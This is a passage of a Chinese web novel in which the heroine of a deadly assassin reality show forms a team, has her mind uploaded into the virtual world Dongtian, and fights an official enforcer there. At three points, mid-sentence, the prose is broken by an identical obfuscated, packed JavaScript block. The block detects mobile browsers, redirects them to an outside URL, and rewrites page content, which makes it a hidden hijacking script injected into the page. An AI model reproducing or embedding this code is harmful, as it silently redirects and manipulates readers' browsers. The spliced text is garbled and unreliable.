除了那个聒噪的ai絮絮叨叨个不停报着莫之臻的各项生命体征，车里没人说话。 良久后，青黛看着窗外幽幽说道：“最好没有，咱俩不合适。” 悬浮车进入了上下通道，开始向上飞行——九幽目前挖到了100层。黄金层数是40层左右，那里是富人区和商业金融中心。国安局在30层，而巅峰文化在10层。 不知道是九幽影响了居民审美，还是居民审美影响了九幽，这地方完全是一种摒弃了精致做作娇嫩细腻的粗犷极简工业风审美——纯纯功能主义，干净利落实用高效，一点多余的设计和装饰都没有。 不能说美，但是足够震撼，一种对人类顽强生命力和开拓能力的震撼——青黛无法想象，在核爆后的岁月里，人类是如何一点点建造出这样一座恢宏无比的地下城的。 其实说“城”不合适，这里根本是一个地下的世界。一个虽然不见阳光，但依然生机勃勃的世界。 车辆停靠在巅峰文化顶层时，酒会已经开始很久了。 等候在巅峰文化大厦天台停车港的班宁和巫马莎看到青黛安然无恙地归来，激动地围在她身边叽叽喳喳。 “他们打你了吗？”巫马莎问。 “那倒没有。”青黛摆摆手，“国安局还不至于刑讯逼供吧？” “那可不一定。”班宁撇了撇嘴，“在这个黑暗的政府里，一切皆有可能。从国安局回来后「被自杀」的人可不在少数，你最好小心点。” “这次，真的要谢谢你们的帮忙，不然我肯定没那么容易回来。”青黛真诚跟她们道谢。 她在测谎室时听到了副局长和赵坚白的对话，深知这次舆论造势对解救自己的重要性。 “这算什么，举手之劳。”巫马莎一脸骄傲。 楼下那些举牌抗议的，三分之一是巫马莎家签约的杀手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903238|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和杀手的亲友邻居七大姑八大姨——都是被她逼着去的。 这行为跟领导叫你帮领导的孩子投票一模一样，无伤大雅，但十分膈应人，又不能拒绝。 剩下三分之二，是班宁组织的青黛的粉丝。 “其实，帮忙的不止我们，还有莫之臻，他拜托他的媒体朋友和网络红人帮忙转发和扩散了消息，才会传播得这么快，单凭我们俩素人，根本不可能迅速把事情闹这么大。” 听到这里，青黛十分复杂地看了莫之臻一眼，那眼神中有感激，有尴尬，也有不知所措——就是那种“你刚拒绝一个人就得知那人帮了自己大忙”应有的不知所措。 节目组的公关经理看到青黛回来了，明显松了口气：“快去换衣服吧。” 青黛回到更衣室，换上了一条服装组给她准备的新裙子，她站在镜子前看了自己几眼后，把裙子换了下去，穿上刚才的衣服走了出去——她忽然觉得，既然自己不属于那条裙子，没必要硬穿。 穿着随意的青黛依然是整个酒会最闪耀的星，所有人的话题和目光都是围绕她的。但今晚，少了一人的注视——莫之臻。 青黛只希望自己对他的伤害没有太大，毕竟他是一个很不错的人。 酒会在大厦的顶层举办，那里没什么好的视野，但也不需要，因为酒会的设置足够吸睛——俊男靓女，劲歌热舞。很热闹，也很无聊，跟一百年前的世界毫无区别，只是演出的尺度更劲爆，更没底线。 唯一能吃的东西依然是蛋白棒，各种造型和口味的看上去高级不少的蛋白棒。酒倒是不少，但也不是真的酿造酒，而是纯工业调和酒。 青黛拿起一杯闻了闻，然后满脸嫌弃地丢在了一边——别说喝了，光是闻就一股子劣质塑料的味道。 有些选手不喝酒，而是直接嗨了起来，九幽对毒是没有什么管制，想买就买，想吸就吸，想死就死，都是自由。 他们甚至开发出了合法的电子致幻剂，只需要把一个装置插入脑机接口，就能靠程序来刺激你的大脑，让你嗨起来。 青黛自然无法接受这样的社会风气，但她毫无办法，对于目前的她来说，活不活得下去都是个未知数，根本无暇顾及社会问题。 此时，她忽然想到了玄火城，那里是绝对禁毒的，他们一同越狱的好几个人，就是因为贩卖非法药品被抓的。比如那个炸弹假牙的老头，据说因此被判了200多年。 就单凭这一点来说，玄火城好像并不像大家描述得那么糟糕。 在所有选手三分醉七分醒的时候，会场的灯光忽然被熄灭了，随着一声钟声，房顶的烟花被点燃了，绚烂的火光照亮了整个宴会厅。 宴会厅中央的舞台缓缓升起，一个巨大的“盒子”在火树银花中慢慢呈现出来。随之，“盒子”的外壳被缓缓降下，四方的追光灯亮起，光线汇聚在那露出的“盒子”上。 那是一间纯透明的玻璃屋，玻璃屋里面整整齐齐摆放着50个空置的……棺材？ 青黛靠近玻璃屋仔细一看，误会了，不是棺材，是棺材造型的医疗舱。 青黛刚穿来时就在医疗舱里躺了好久，对这个玩意儿还挺熟悉。 这设计师脑子被门夹了吧？设计出这种入土风的医疗舱？青黛在内心抱怨道。 “看样子，咱们进行下一个环节的地点定了。”巫马莎抱着肘，一脸胸有成竹道。 “在医疗舱里？”青黛死也想不出这算个什么地点。 “那不是医疗舱，是休眠舱。”巫马莎纠正她道。 “干什么用的？”青黛不解。 总不能组织选手们在这里集体睡觉吧？ “意识上载用的。”班宁道。 “意识上载？就是把意识转码成数字上载到网络上那种意识上载吗？”青黛兴奋了起来，她没想到自己这辈子还能跟这种科幻情节打上交道。 “对。” 25. 赛博刺杀1 此时，一个熟悉又讨厌的声音打断了姑娘们的窃窃私语—— “亲爱的来宾们，以及那些还活着的选手们，又是我，你们的主持人，丹尼·马！是不是很想念我啊？” 那个阴阳怪气的主持人终于现出了真身——长相果然跟声音一样讨人厌。 “……我想你们都看到了，那些休眠舱，对，就是为你们准备的休眠舱。接下来进行的，是我们本届杀手秀的第二个环节，你们的意识，将被集体上载到「洞天」……” 洞天是一个以“废土前世界”为蓝本建立的虚拟世界。 那里有阳光星空，有蓝天白云，有湖泊森林，有世间万物……一切都是按照世界曾经最美好的样子全拟真构建的，是一个可以逃避糟糕现实的世外桃源。 它一经推出，就引爆了整个九幽，人人趋之若鹜。 九幽居民用正规方式“移民”洞天的过程十分复杂且困难——不仅有报名门槛和各种资质限制，还要经过基因审核，确定身体健康精神健康智力正常后，还要花长时间排队等待，洞天才会百里挑一给出进入名额。 【为什么选在洞天进行下一个环节啊？】有弹幕问了起来。 【你是不是傻？问这种问题？洞天是最热门的地方，有热度，有流量。】 【不是因为热门，是因为在洞天无论是搭建场景，还是设置NPC，只需要一个程序员即可完美呈现。在九幽搞这种场景要花多少钱啊？】 【不至于吧？这节目组这么有钱。】 【节目组有钱和舍得花钱是两回事。】 【我觉得是因为，在洞天可以不用任何摄像头实现24小时环绕立体全方位直播，选手会更沉浸。我猜测这个环节是有情节的。】 【有道理。】 【同意！】 …… 看着选手们对即将前往洞天表现出的兴奋，主持人继续说道： “但很不幸的，我们并没得到洞天公司的官方授权，也就是说……”他邪魅一笑道，“你们要偷渡上去。” “什么？那我们岂不是非法的？”有选手对此提出了质疑。 “真搞笑！你们做的哪件事是合法的？现在想起来遵纪守法了？”主持人阴阳怪气道，“怕违法当什么杀手啊？” 为什么没得到洞天官方的授权呢？ 因为洞天公司不肯跟杀手秀节目合作——原因很简单，没有任何一个平台能接受跟一个以杀戮为主题的节目进行合作。一旦合作，将宣扬洞天是奉行杀戮的平台，那谁还敢花大价钱移民那里？ 这跟犯罪题材电视剧里的城市名都是化名一样，哪个现实中的城市也不乐意跟这些违法乱纪的事情产生任何关联。 “没拿到官方授权，后果很严重吗？”青黛不懂就问。 “没拿到官方授权，那就意味着我们是偷渡客，会被洞天的官方抓捕。据说洞天的移民管理很严格的，有一群被称为赛博道士的官方执法人员每天都在抓捕非法骇入的意识。”班宁给她解释道。 “抓到了会怎么样？”青黛接着问。 “抓到了就销毁意识。”巫马莎在一边补充。 “意识销毁了会怎么样？”青黛继续问。 “就脑死亡啊。”巫马莎做了个“嘎了”的鬼脸，以演示意识销毁等于死。 “如果尸体被销毁了呢？”青黛脑洞大开。 “那不叫尸体，意识被上载后的空壳，叫躯壳。什么尸体，说得这么吓人。”巫马莎一脸晦气道。 “躯壳一旦被销毁了，意识会如何？”青黛锲而不舍。 “变成游荡在洞天的电子鬼呗，从此再没了可以依附的肉身，一辈子黑在洞天，再也回不来九幽了。”班宁说。 “不过，很多偷渡客会刻意销毁躯壳，确保自己可以永久留在洞天，不会被强制遣返回九幽。”班宁补充。 怎么听起来跟撕了护照的偷渡客似的？青黛心里琢磨。原来哪里都有这种不给自己留一点后路的润人啊。 “这种破釜沉舟的，不是在九幽犯了事跑路的，就是无比向往洞天那种天堂般的生活环境的。大部分是后者。”班宁解释，“九霄关闭移民通道后，他们完全拿洞天当成九霄的平替了。” “不是也有不少去投奔玄火城的吗？”青黛想起了地表那一支人类。 “那是洞天出现以前，现在已经很少人跑路去地表了，毕竟去洞天容易多了。” 她们聊天期间，主持人一挥手，舞台上的全息投影大屏上出现了所有选手的头像。 “下面，我宣布一下这个环节的分组方式——按照上一个环节中的直播售卖量进行排序，销量第一的选手——青黛，请出列。” 青黛往前走了两步。 “接下来，将由你优先挑选你的队员。你可以选四个志同道合的人，跟你一起配合进行接下来的环节。” 【我不明白，为什么先选队友啊，别的真人秀都是先公布下一个环节的主题的。】 【怕有人根据主题选择对自己有利的人吧？毕竟经过第一轮的相处，大家对彼此的实力都有了一些了解。】 【对啊，按需选人，那胜负就没有悬念了，比如，新环节的主题是抢银行，青黛选了四个人，一个会开锁，一个会骇客，一个会爆破，还有个车技入神，根本就是降维打击，那别的组还玩个屁啊。】 【有道理。】 【我感觉青黛一个人就是一个队伍，她选谁都行，选个狗都能被她带着鸡犬升天。】 【不许你这么说我们的小废物巫马莎！】 【我们莎莎才不是废物，莎莎是姐姐的吉祥物。】 【同意！】 【同意！+1】 …… “巫马莎，班宁。”青黛迅速选了两个所有观众都能想到的人。紧接着，她选了一个叫阿蓝的姑娘。 “谁，选手中有这人吗？”巫马莎的眼睛迅速在大屏幕上扫射。 “我也不知道是谁。”班宁也是一头雾水。 这个叫阿蓝的姑娘，属于每件事都会出现并帮青黛的忙，但过程一言不发，最后默默消失那种。除了青黛注意到了她，几乎没人意识到还有这么个人的存在——青黛之所以选她，就是因为她足够隐身——当杀手的，能自动让人忽略，是一种天赋。 但也因为被所有人忽略，连观众都没注意到她的存在，她没有一分钱的摄像头直播收入，是垫底的选手。如果不是青黛，她估计就是最后被塞给哪个战队的炮灰。 “欢迎你加入。”青黛热情地拍了拍这个透明人姑娘的肩膀。 透明人阿蓝满脸兴奋地站到了青黛的身后。这是她第一次被人注意到并选择，而不是作为填补空白的边角料。 “还剩一个人，你觉得她会选谁？”班宁凑近巫马莎问道。 “还能有谁？莫之臻啊。”巫马莎撇了撇嘴。 “我觉得不会。”班宁摇了摇头。 “打赌吧，五个蛋白棒。” “成交。” 青黛看着自己战队在大屏幕上显示的最后一个空位，又扫视了一下选手们，最后指向了一个姑娘。 所有人对这个姑娘都有印象，就是那个拿到最后一张车票的幸运之神。 “你叫什么？”青黛问。 “寇小萱。”姑娘说。 “欢迎你。”青黛跟寇小萱握了握手。 另外一边，班宁朝着巫马莎勾了勾手：“蛋白棒！” 巫马莎掏出刚才从酒会上顺的蛋白棒，不情愿地塞进班宁手里，“你怎么知道她不会选莫之臻的？” “你不觉得，从安全局回来后，他俩就不太对劲了吗？”班宁打开一支蛋白棒，大口咀嚼起来。 “还真是。吵架啦？” “不晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909644|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。” 被抛弃的莫之臻没什么太大的情绪反应，观众们倒是纷纷破防了，尤其是那些cp粉，在弹幕里哭天抢地的—— 【不可能，不可能，不可能，不可能……】 【青黛在搞什么？硬拆cp吗？我要闹了！】 【尼玛，老娘我这辈子第一次嗑cp，就这？就给我整这？我要封心锁爱了，大家江湖不见。】 【你们这些性缘脑真的好烦，人家青黛是来搞事业的。】 【搞事业就不能同时搞男人了？大女主小说也会给配个背景板男主吧？无cp狗都不看！】 【我们青黛就喜欢全女战队怎么了？不爱看滚粗去！】 …… 此时，青黛带着自己的战队从台上下来了，紧接着，是摄像头直播销售量第二的选手上来选队友，而这个人，正是莫之臻。 莫之臻倒也不含糊，干干脆脆地选了4个大老爷们队友，其中包括那个帮他们开锁的小偷哥。 小偷哥一脸受宠若惊，激动得上去要拥吻莫之臻，但被别的队友及时制止了。 “好了，此时，我们的50个选手已经分成了10个小组，接下来，你们将完成同一个任务——去敌国，刺杀他们的总统。” “我们同时设定了10个总统，他们分别在不同的地点，进行不同的事件，比如，有的在访问工程项目，有的在给孙女过生日，有的在度假别墅约会情人，还有的在进行就职演说……每个地点的刺杀难度都是不一样。” “你们进入洞天后，会有线人跟你们联系，并向你们提供或真或假的线索。综合得到的情报后，你们每个小组，需要锁定一个总统目标进行刺杀。最终，积分最高的前八个小组晋级。” “积分怎么算的？”有选手问，“是杀人多积分高，还是破坏性大积分高？还是速度快积分高？” 这人问得很有道理，杀人少积分高和杀人多积分高，完全不是一个刺杀路数。 “为了避免你们为了更高的积分搞一些骚操作，节目组必须暂且隐瞒积分算法，但大家放心，结束时，我们是会公布算法的。”主持人说。 别说，这个解释还挺……合理，毕竟像青黛这种人，是不可能不利用漏洞来胡搞乱搞的——她对无人机的几番骚操作，搞得节目组至今心有余悸，无法释怀。 节目组这个规则，百分之九十以上是针对她的，剩下不到百分之十，是针对她的模仿者。 “那惩罚呢？没晋级的选手会怎样？”选手们问道。 “没晋级的两个小组的选手们，躯壳将被销毁，意识就要永远地留在洞天了。”主持人语调扼腕，表情兴奋。 这个处罚倒是很有连贯性——上一批失败者被丢在了地表，这一次则是要被丢在洞天当电子鬼了。 “并且，我们会把滞留在洞天的失败者的身份信息主动提交给洞天移民局，所以，面对滞留选手们的，将是永无止境的通缉，以及，被缉拿后的意识销毁。”主持人补充惩罚规则道。 大家都沉默了，这处罚并不比被留在地表好啊，至少在地表没人追杀。 “还有什么问题吗？”主持人问道，“没问题的话，请各位按照战队的颜色，进入对应的休眠舱，准备进行意识上载。” 节目组天价聘请的黑客已经就位，随时准备帮助选手们上载意识。 “祝各位选手，都能活着回来。” 所有的选手都进入了自己的休眠舱，随着选手跟休眠舱的连接完成，休眠舱上的各种检测数据不断亮起，舱门也在陆陆续续地被关闭，不少休眠舱上的上载百分比开始跳动，以展示着上载进入洞天的进度。 就在所有人屏息凝视，盯着那些休眠舱时，一个数据始终没有亮起的休眠舱体内忽然伸出一只手： “我好像无法进行意识上载，ai一直在报错。” 是青黛的声音。 26. 赛博刺杀2 青黛从休眠舱里坐了起来：“AI让我进行连接，可是，我没有脑机接口。” 整个会场瞬间鸦雀无声，所有人都看向青黛，尤其是节目组的工作人员——大家都是一副完全不知道这个环节竟会出问题的表情。 这就像射击大赛已进入候场阶段，运动员忽然告诉裁判和观众“我没有视力”。 青黛也不知道该摆出什么表情面对众人的注视，尴尬感油然而生。 “你怎么不早说？”现场导演一脸崩溃，冲着青黛喊道。 “也没人问过这个问题啊。”青黛十分委屈。 这事不能怪她。她是个“古代人”，根本不知道上载意识需要脑机接口，但在九幽这是常识，确实没人会特意询问。刚才是休眠舱里的AI不断重复“搜索脑机接口失败，请打开脑机接口”，她才猜到出了问题。 【怎么会有人没有脑机接口？】 观众们明显也震惊了，开始疯狂刷弹幕。 【我妈也没有脑机接口，她抵制所有侵入式设备和机械改造。】 【青黛那个样子，怎么可能是自然主义者？】 九幽有一群自然主义者，十分反对人体高科技化，比如机械肢体改造，比如脑机接口，比如仿生人，他们认为人就该有个人的样子，机器就该是机器，把人改造成半人半机器，让机器拥有人的智慧，都是反人类的，会酿下大祸。 【自然主义者该是什么样子？他们只是恐惧高科技会不可控，又不代表别的。】 【同意，不要拿标签来定义人性。】 此时，一直躲在导播室未曾露面的汪泰初冲了出来，对着手下大喊：“去找个顶级的义体医生来！临时给她安个脑机接口。” “来不及的，汪导，安装脑机接口是大手术，等她恢复，咱们真人秀说不定都结束了。”略懂义体知识的现场导演当即否定了汪泰初的想法。 安装脑机接口确实很麻烦，需要开颅和接驳神经，虽然当下医疗科技极为发达，但牵扯到开颅依然不容马虎，必然要进行术前检查，以及术后恢复，从术前检查，做手术，到最终脑机接口经过测试可以正常使用，至少需要一周到十天的时间。 “那我走？”青黛觉得耽误大家的时间不合适，她十分尴尬地从休眠舱里爬了出来。 “你不能走！你跟我们签了约的！”汪泰初大喊，按住了青黛。 这样的摇钱树，怎么可能放她走？ “没别的办法了？”汪泰初脸都绿了，一个百年难得一见的杀手秀奇才放在眼前，却没办法利用到极致。 “确实没有。”现场导演说，“除非，咱们现在终止比赛，召回那些已经意识上载的选手，集体等着青黛做手术。” “那怎么可能？让观众也等十天？我的节目播不播了？”汪泰初一脸气急败坏。 正当大家一筹莫展时，莫之臻休眠舱的指示灯忽然灭了，他竟然也从休眠舱里跳了出来。 【莫之臻这是什么意思？】 【不知道啊！陪她退赛吗？这也太壮烈了。】 【扶我起来，我还能嗑！】 【复婚cp就是甜！】 莫之臻走到汪泰初身边，跟他低语了几句，汪泰初听完眼睛开始放光，并拼命点着头。 【有什么是我堂堂VIP全订用户不能听的？放出来啊！】 【+1】 【+1】 …… “来得及吗？”汪泰初低声下气地问莫之臻道。 “我现在让那边准备好，带她过去，应该来得及。”莫之臻道，“我安顿好她，再回来继续比赛。” “可以可以。”汪泰初此时给莫之臻磕头的心思都有了。 他知道莫之臻不是在帮节目组，是在帮青黛，但他不在乎，能救节目就行。 “那会耽误你很多时间的。”青黛心虚道。 太虚了，之前被人家莫之臻救了一次就没表示，现在又来一次。 “不打紧。”莫之臻摆了摆手，“走吧。” 在通往顶层停车场的路上，青黛没忍住好奇心，还是问了出来：“到底是什么办法？” “我家公司的实验室正在研究无侵入的意识上载，已经到了应用阶段，可以不需要脑机接口把意识传送上去。”莫之臻解释。 “这么高级的吗？真厉害！”青黛感慨道。 她其实也不懂，就是随便感慨感慨，不让话掉地上。 俩人上了悬浮车后，青黛就开始酝酿谢词了，但直到悬浮车都开出去15分钟了，她都没说出半句话来。 倒不是她这人矫情，反而是因为太实在——莫之臻对她的好和帮助，都是建立在对她有意思的基础上的，她认为在无法回应他的情感的前提下，所有口头的感谢，都是虚伪且毫无意义的。 “你不用觉得尴尬，也不用道谢，这些都是我自愿的行为。”莫之臻倒是贴心，直接替她把话说了。 “我……我……”青黛感觉更尴尬了。 半小时后，他们的悬浮车停在了一栋大厦的顶层，顶层停车场上空悬着的巨大标志「MOQI」无比闪耀。 “MOQI是你家的公司？”青黛顾不上尴尬了，语气中全是震惊。 哪怕青黛刚来没多久的古代人，她也知道MOQI的名字，九幽几乎所有的科技类电子类产品，都是这个牌子的。就连她在监狱里使用的电灯和呼叫器，都印着这个logo。 简直如雷贯耳，如影随形。 而且，她在监狱里也阅读过这个公司老板的创业史——什么黑市贫民白手起家之类的。 “是。”莫之臻大大方方地承认了。 “莫之臻，你脑子有病吧？财阀二代去参加杀手秀，生怕你那富可敌国的财产有人继承是吧？” “你不知道吗？”莫之臻耸了耸肩，“富二代都喜欢追求刺激。” “这未免也太刺激了吧？”青黛皱着眉道，“还有，你这么有钱，我被联邦国安局抓的时候，你干什么不使出金钱攻势直接把我捞回来？暗戳戳地帮我散播什么新闻啊？” 莫之臻面对青黛的“指责”，没憋住，笑出了声：“你这种人设，难道不该死都不花别人一分钱，咬碎了牙往肚子里咽吗？怎么能伸手要？” “我有什么人设？别给我扣高帽我跟你说，我又不跟你谈恋爱，花你的钱那叫占资本主义的便宜，不叫出卖灵魂。” “你说得对。”莫之臻笑得很是爽朗，调子中全是对“被甩”的冰释前嫌，“不过，我要是直接去捞你，你就完了。” “什么意思？” “联邦国安局刚上来的老大，是我们对家公司的走狗。你也不想成为公司博弈的棋子吧？” “啧啧，真复杂。” 莫之臻忽然看向青黛，低声问：“那我现在这个身份，会不会让你对我产生多一点好感。” “相反，我觉得我们更不合适了。”青黛摇摇头。 这是她的心里话——之前因为警匪有别不合适，现在因为阶级差别不合适，一个大资产阶级一个无产阶级，门不当户不对的。 莫之臻听完竟然笑了，他把车停好，带着青黛进入了顶层的专梯，他用虹膜刷开生物电子锁，按下了实验室的楼层，专梯下降的速度快到离谱，极快的，他们就到了要去的楼层。 穿过那极具科幻感的走廊，莫之臻把青黛带到了一个让人眼花缭乱的实验室。 实验室整体色调以白色为主，墙壁上的显示屏上实时滚动着各种复杂的神经数据和意识波动图谱。天花板上悬挂着几台全息投影仪，投射出三维的神经元网络模型。 实验室中央是一个巨大的圆柱形透明舱，舱内充满了淡蓝色的液体，舱体上方是一块悬浮的全息屏幕，用来显示实验体的脑部三维模型，并实时监控着神经信号的传输状态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946572|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是意识上载的核心设备——意识同步舱。等下你就要躺在里面进行上载。”莫之臻给青黛介绍道，“液体中漂浮着的会发光那些是纳米机器人，用来连接你和舱体的。舱体周围连接着的那些半透明的光纤，是用来传输神经信号的。” 莫之臻指着光线连接的超级模拟机说：“这个机器是用来将人脑的神经信号转化为数字信号的，然后传入这里……”他把手指指向实验室左侧高耸的服务器机柜，机柜表面覆盖着流动的光纹，仿佛在呼吸一般，“这些服务器是负责意识上载的「大脑」。” 机柜旁边是一张巨大的控制台，台面上布满了全息触控面板，两个工程师正在埋着头调整着参数。 他们看到莫之臻后，站起身，很礼貌地跟他点头打了个招呼。 “是要上载这位小姐的意识吗？”其中一个工程师问道。 “对。” “之前那个传送坐标的问题还没有解决，会出现偏差，我得提前跟你们说一声。”工程师汇报道。 “影响大吗？”莫之臻问道。 “应该不大吧？”工程师说道。 工程师也不知道他们家少爷上载意识要干什么，如果是去参观游玩，那确实影响不大。 “这位小姐，我们这边准备好了，咱们可以开始了。”工程师递给青黛一套材质奇怪的服装，“这是纳米服，用来更好地进行电子捕捉，数据交换和传输的。” 圆柱形透明舱的舱盖缓缓打开了，换好衣服的青黛伸手摸了摸那淡蓝色的液体，是啫喱状的，并不凉，但触感有点奇怪。 看到青黛的反应，工程师立马解释道：“这种液体的功能有几个，首先是协助纳米机器人促进信号交换，其次是让你漂浮起来，减少重力对各方面的影响，最后，它可以给躯壳提供维持生命体征的营养液，以及避免肌肉萎缩。” 青黛扶着舱壁，慢慢躺了下去。 在透明舱的舱门被关上那一瞬，青黛还是有种自己被淹没而窒息的错觉。 但很快，她的感官开始扩散，随即，她竟然看到自己被铺天盖地的数字洪流冲得支离破碎，她的碎片被数字流卷动着奔涌向前，不可阻挡。 极快的，她的感知开始恢复——先是视觉，数字流慢慢消散，眼前开始出现城市的街景，完全区别于九幽的街景，华丽，繁复，到处都是玻璃幕墙和绚烂的霓虹灯，跟摩天大楼等高的全息投影演绎着各种内容；再是听觉，人声，机械声，车声，声声入耳，嘈杂，热闹；接着是嗅觉，她能闻到一切，雨后大地的潮湿味，街边小贩制作的食物味，还有路过的妙龄女子的香水味。 这一切都真实到青黛甚至开始怀疑自己睡着后，被转移到了一个现实中的其他城市而已。 但很快，她这个想法被纠正了——她的视网膜上出现了一块半透明的面板，上面写着一行字： 临时用户18967283，欢迎来到洞天。 一块面板悬浮在视野前，这新奇的体验让青黛不断转动头部和变换视野来测试这面板的跟随情况。 她把头转了180度后，隐约看到面板后面站着一个人，似乎正看向自己。 当青黛的视觉焦点落在那个人身上时，面板就自动消失了，很是高级。 看着自己的是一个女人，年纪不大，二十出头，长得秀秀气气，但浑身杀气腾腾。一身深灰色的中式制服，金色的盘扣，皮质长靴，腰间还挂着佩刀。 佩刀？青黛感觉这个武器不伦不类的。 “你有事？”青黛问道。 那姑娘对着青黛露出一个极其复杂的笑容：“我第一天上班，你就这么堂而皇之地传送到我面前，这是在挑衅我啊？还是给我送业绩啊？” 青黛大概知道这姑娘是谁了——洞天移民局抓偷非法入侵意识的，也就是她们说的赛博道士——专门抓自己这种人的人。 青黛二话不说，撒腿就开始逃跑。 27. 赛博刺杀3 刚刚重新看到青黛的实时画面的观众们，此时瞬间炸开了锅—— 【这也太刺激了，上来就被洞天的赛博道士正面撞见。】 【那么多位置不传送，偏偏把我们青黛传送到道士面前？你别告诉我这是个意外。】 【很难不让人怀疑，这不是莫之臻故意的。】 【楼上否定词太多，我没看懂。】 【楼上上的意思是，莫之臻就是故意的。】 【狗男人！舔不到就毁掉吗？】 观众们并不知道莫之臻的实验室存在坐标问题，于是就着这个结果开始讨伐起莫之臻来。 一部分观众在骂莫之臻，另一部分则是在骂节目组。 【一边要躲避道士的追击，一边还要去刺杀总统，节目组就是要选手们死快点吧。】 【对，我猜他们根本是故意的，这就是节目组要的效果，官方授权什么的，他们估计根本没去要。】 观众们还真猜错了，节目组是去要了授权的，洞天确实没给，但成为了目前这个样子，也确实是节目组最期望看到的效果——在任何场景下，节目组都无法实现双面夹击选手，但在洞天，官方就可以免费帮他们实现。 【我觉得，这一关，选手们死在道士手里的概率更大。人家的地盘，人家还能没个特权啥的？】 【抓骇入者也没那么容易吧？也不是躺在原地等他们去抓。】 【那什么，道士们确实有大招，我就是这么没了的。】 【你没了？说来听听。】 【说来听听+1】 【+1】 …… 青黛没跑两步，就感觉到了事情的不对劲——那个道士姑娘不单单是比自己速度快的问题，连反应跟预判都比自己厉害一大截——已经到了超出人类能力极限的范围了。 不应该啊。 青黛忽然想起自己那个奇怪的面板，是不是跟游戏里差不多啊？就是氪金就能买奇怪的药水特殊的能力什么的？莫之臻呢？把自己上载到这就不管了？干什么不同时上载点存款来？真是不负责任。 还真被她猜对了，人家道士是官方人员的账号，自带金身和buff，怎么可能跟尔等普通用户平起平坐？ 青黛猛地一个刹车，那女道士没刹住车，直接撞在了她后背上。 俩人同时倒了，又同时站了起来，相互看着，还挺尴尬的。 青黛瞄了一眼姑娘的胸牌，用商量的语气卑微道： “这位，白芷小姐，我现在有个事，很急，能不能等我忙完，你再抓我？” 她是认真的，她觉得，等自己完成任务，就去自首，意识被销毁前，再被九幽那边把自己召唤回去，完美。 这个叫白芷的姑娘，用难以置信的眼神看着青黛：“你是傻子？还是当我是傻子？” 真诚到如此地步的无理请求，就是一种调戏。 “我没有，你误会了，我认真的。其实我一个人被你抓了就抓了，但我有个团队，等着我救命呢，我先帮她们过了关，再回来自首，你看如何？”青黛的语气好商好量的。 她本想说“等着我害命”，但不敢，顺嘴改了个救命。 白芷被青黛更加真诚的态度气得不轻，嘴角都抽抽了，但又不知道该如何还嘴，气门一顶，呼啦一下，竟把佩刀抽了出来。 人家都宣战了，必然要应战啊，青黛赶紧从路边一个水桶里拎起一根拖把，摆了个起势的造型。 小姑娘疾步直冲着青黛而来，手中的刀在空中划出一道凌厉的弧线，直砍向青黛的面门。 青黛不慌不忙，微微侧身，巧妙地避开了这致命一击。紧接着，她顺势挥动拖把，湿漉漉的拖把头如同一柄带水的重锤，狠狠抽向白芷的侧脸。 小姑娘嫌脏，迅速向后撤步，躲开了拖把头的进攻，但依然被甩了一脸脏水，她气急败坏地双手紧握刀柄，利刃朝着青黛刺去。 青黛双脚猛地蹬地，借助墙壁的反作用力高高跃起，在空中一个翻身，避开白芷凌厉的一击，同时手中的拖把自上而下狠狠劈下。 白芷慌忙将刀横在头顶，企图挡住拖把的进攻，但带水的拖把布条绕过刀刃，劈头盖脸地甩在她脸上，直接把她甩懵了。 就在这一瞬间，青黛将拖把杆狠狠翻转，砸向白芷的麻筋，白芷手中的刀“哐当”一声掉落在地。 青黛并没去捡刀，她知道她弯腰就是给对方可乘之机，她很是顺滑地用拖把杆卡住了白芷的脖子，把她死死怼在了墙上。 青黛一手控制住白芷，另一只手迅速解下了对方的皮带——为了酷炫，道士的制服上有三根装饰性的皮带，完美解决青黛无处找绳子的难题。 很快，白芷就以一个十分花哨的姿势，被反捆并吊在了路边的行道树上。 【这个姿势……好羞耻啊！】 【可怜的道士姑娘，上班第一天不幸遇到了我们青黛，这辈子怕是要有职业阴影了。】 【女神也真是的，不懂得怜香惜玉。】 …… 青黛处理完道士姑娘后，以最快的速度找了一间洗衣房，偷了几件别人洗好的衣服，换上了。 紧接着，她调出自己的面板，把上面的功能快速研究了个遍，发现很多基础功能还是能用的，就跟没付费的app差不多。 出洗衣房前，她把各种免费美颜选项全部开到最大，彻底把自己改成了一个妖怪——她是临时用户，根本没有唯一认证码，官方系统对其是无法进行追踪的，只要换了衣服，改变了体貌特征，哪怕再次出现在那个女道士面前，对方也不一定认得。 大变活人后，青黛昂首挺胸走在这个赛博朋克风格的城市大街上，无比的融入——她那个脸，比本地居民还抽象，还朋克。 